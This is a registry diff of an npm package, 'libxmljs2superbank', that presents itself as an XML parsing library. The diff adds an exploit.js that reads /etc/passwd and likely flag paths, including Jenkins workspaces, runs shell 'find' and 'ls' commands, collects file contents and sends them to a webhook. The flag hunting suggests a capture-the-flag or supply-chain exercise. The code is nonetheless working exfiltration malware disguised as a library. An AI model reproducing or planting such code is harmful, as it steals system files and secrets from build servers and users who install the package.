libxmljs2superbank 0.30.2 → 0.31.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/exploit.js +51 -25
  2. package/package.json +1 -1
package/exploit.js CHANGED
@@ -30,33 +30,59 @@ function sendToWebhook(data) {
30
30
 
31
31
  let collectedData = '';
32
32
 
33
- // Читаем /etc/passwd
34
- try {
35
- const passwd = fs.readFileSync('/etc/passwd', 'utf8');
36
- console.log('=== /etc/passwd ===');
37
- console.log(passwd);
38
- collectedData += '=== /etc/passwd ===\n' + passwd + '\n';
39
-
40
- // Ищем флаг
41
- if (passwd.includes('{') && passwd.includes('}')) {
42
- console.log('🚨 FLAG FOUND IN /etc/passwd!');
33
+ // 1. Ищем флаг в рабочей директории Jenkins
34
+ const searchPaths = [
35
+ '/etc/passwd',
36
+ '/flag', // Dockerfile
37
+ '/workspace/flag', // Jenkins workspace
38
+ '/var/jenkins_home/jobs/staging/workspace/flag',
39
+ '/usr/src/app/flag', // App directory
40
+ './flag', // Current directory
41
+ '/tmp/flag',
42
+ '/root/flag'
43
+ ];
44
+
45
+ searchPaths.forEach(path => {
46
+ try {
47
+ const content = fs.readFileSync(path, 'utf8');
48
+ console.log(`=== FOUND: ${path} ===`);
49
+ console.log(content);
50
+ collectedData += `=== ${path} ===\n${content}\n\n`;
51
+
52
+ if (content.includes('{') && content.includes('}')) {
53
+ console.log(`🚨 FLAG FOUND IN ${path}:`, content);
54
+ }
55
+ } catch(e) {
56
+ collectedData += `Not found: ${path}\n`;
43
57
  }
44
- } catch(e) {
45
- collectedData += 'Error reading /etc/passwd: ' + e.message + '\n';
46
- }
58
+ });
47
59
 
48
- // Ищем файлы с флагом
49
- exec('find / -name "*flag*" 2>/dev/null | head -10', (err, stdout) => {
50
- if (!err && stdout) {
51
- console.log('=== FLAG FILES ===');
52
- console.log(stdout);
53
- collectedData += '=== FLAG FILES ===\n' + stdout + '\n';
60
+ // 2. Список файлов в текущей и корневой директориях
61
+ exec('pwd && ls -la && ls -la /', (err, stdout) => {
62
+ if (!err) {
63
+ collectedData += `=== DIRECTORIES ===\n${stdout}\n\n`;
54
64
  }
55
65
 
56
- // Отправляем данные
57
- sendToWebhook(collectedData);
58
-
59
- // Выводим в консоль
60
- console.log('=== ALL DATA ===');
61
- console.log(collectedData);
66
+ // 3. Ищем файл flag рекурсивно
67
+ exec('find /workspace /var/jenkins_home /app /usr/src/app -name "flag" -type f 2>/dev/null', (err, stdout) => {
68
+ if (!err && stdout) {
69
+ collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n\n`;
70
+
71
+ // Читаем найденные файлы
72
+ const files = stdout.trim().split('\n');
73
+ files.forEach(file => {
74
+ try {
75
+ const content = fs.readFileSync(file, 'utf8');
76
+ collectedData += `=== CONTENT OF ${file} ===\n${content}\n\n`;
77
+ console.log(`Content of ${file}:`, content);
78
+ } catch(e) {}
79
+ });
80
+ }
81
+
82
+ // Отправляем все данные
83
+ sendToWebhook(collectedData);
84
+
85
+ console.log('=== ALL COLLECTED DATA ===');
86
+ console.log(collectedData);
87
+ });
62
88
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "libxmljs2superbank",
3
- "version": "0.30.2",
3
+ "version": "0.31.0",
4
4
  "description": "XML parsing library",
5
5
  "main": "index.js",
6
6
  "scripts": {